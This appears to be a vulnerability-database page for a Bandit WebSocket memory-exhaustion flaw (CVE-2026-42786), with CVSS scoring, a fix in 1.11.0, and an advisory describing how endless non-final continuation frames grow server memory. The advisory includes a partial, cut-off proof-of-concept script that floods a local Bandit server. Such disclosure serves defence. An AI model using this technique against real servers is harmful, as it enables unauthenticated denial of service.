VulnerabilityPublished 7 May 2026

CVE-2026-42786: Bandit Buffers Unbounded WebSocket Continuation Frames, Allowing Unauthenticated Memory Exhaustion

Affects banditSource GCVE Database

Authoritative record:CVE-2026-42786· High 8.7

Not known to be exploited · CVSS 8.7 High : upgrade to 1.11.0 soon.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 4.0 base score

8.7High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 1.11.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 1 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade bandit to 1.11.0.

Affected software

Product	Affected	Fixed in
Hexbandit	Affected >=0.5.0 <1.11.0	Fixed in 1.11.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary A single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every `Continuation{fin: false}` frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting `fin=1`) grows BEAM heap linearly until the OS or a supervisor kills the process. `max_frame_size` only bounds individual frames; there is no `max_message_size` option available today. ### Details The bug is in `lib/bandit/websocket/connection.ex`, in the fragment branch of `handle_frame/3` (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as `[connection.fragment_frame.data | frame.data]` with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When `fin=1` finally arrives (if ever), `IO.iodata_to_binary/1` flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send `fin=1` — simply holding the connection open is enough to pin the bytes. **Suggested fix:** track a running cumulative byte count on the connection state and add a configurable `max_message_size`. When exceeded, terminate the connection with RFC 6455 close code 1009 (`:max_message_size_exceeded`) instead of continuing to append. ### PoC A self-contained reproduction script is below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial `WebSock` echo handler, completes a WebSocket handshake, sends one text frame with `fin=0`, then streams up to 4096 continuation frames of 1 MiB each — also `fin=0`. A background sampler logs `:erlang.memory(:total)` every 250 ms. A correctly-fixed server would close the connection with code 1009 once `max_message_size` is exceeded. ### Impact Unauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host. **Affected by default.** No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over `WebSock` on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at `/live`. Plug apps that mount any custom `WebSock` handler are equally affected. Applications that expose no WebSocket endpoints are not. The exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens *before* `WebSock.handle_in/2` is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit. ### Script and Logs ```elixir # Bandit WebSocket fragmented-message accumulation PoC. # # lib/bandit/websocket/connection.ex:80-95 appends every incoming # Continuation{fin: false} frame's payload to connection.fragment_frame.data # as iodata, with no cumulative cap. `max_frame_size` only bounds *each* # frame; a peer that streams an unbounded number of max-sized continuations # without ever setting fin=1 grows the iolist linearly in BEAM memory until # the OS kills the process. The eventual IO.iodata_to_binary/1 in the # fin=true branch also momentarily doubles peak memory. # # This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket, # sends one text frame with fin=0 followed by a continuous stream of # continuation frames (also fin=0), and samples BEAM memory while doing so. # A correct server would close the connection with 1009 once a configured # max-message-size is exceeded; the buggy server keeps growing. # # Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"}, {:websock_adapter, "~> 0.5"} ]) defmodule EchoSocket do @behaviour WebSock def init(_opts), do: {:ok, %{}} def handle_in(_message, state), do: {:ok, state} def handle_info(_message, state), do: {:ok, state} def terminate(_reason, state), do: {:ok, state} end defmodule DemoApp do @behaviour Plug def init(opts), do: opts def call(conn, _opts) do conn |> WebSockAdapter.upgrade(EchoSocket, %{}, []) |> Plug.Conn.halt() end end defmodule FragmentFlood do @port 4321 @fragment_payload_bytes 1 * 1024 * 1024 @fragment_count 4096 @sample_every_ms 250 def run do {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port) sock = ws_handshake!() sampler_pid = spawn_link(&sample_memory_loop/0) payload_chunk = :binary.copy(<<0x41>>, @fragment_payload_bytes) starting_text_frame = build_frame(0x1, _fin = false, pay

CWE-770Allocation of Resources Without Limits or Throttling (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #25
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
Requirements
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Architecture and Design
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended.
OWASP Cheat Sheets
Abuse Case (opens in a new tab)
OWASP ASVS 4.0.3
V8.1.4 (opens in a new tab)
V13.4.1 (opens in a new tab)
V11.1.4 (opens in a new tab)
Attack patterns
XML Ping of the Death (opens in a new tab)
Exponential Data Expansion (opens in a new tab)
Serialized Data Parameter Blowup (opens in a new tab)
Serialized Data with Nested Payloads (opens in a new tab)
Oversized Serialized Data Payloads (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-770

Technical details

References

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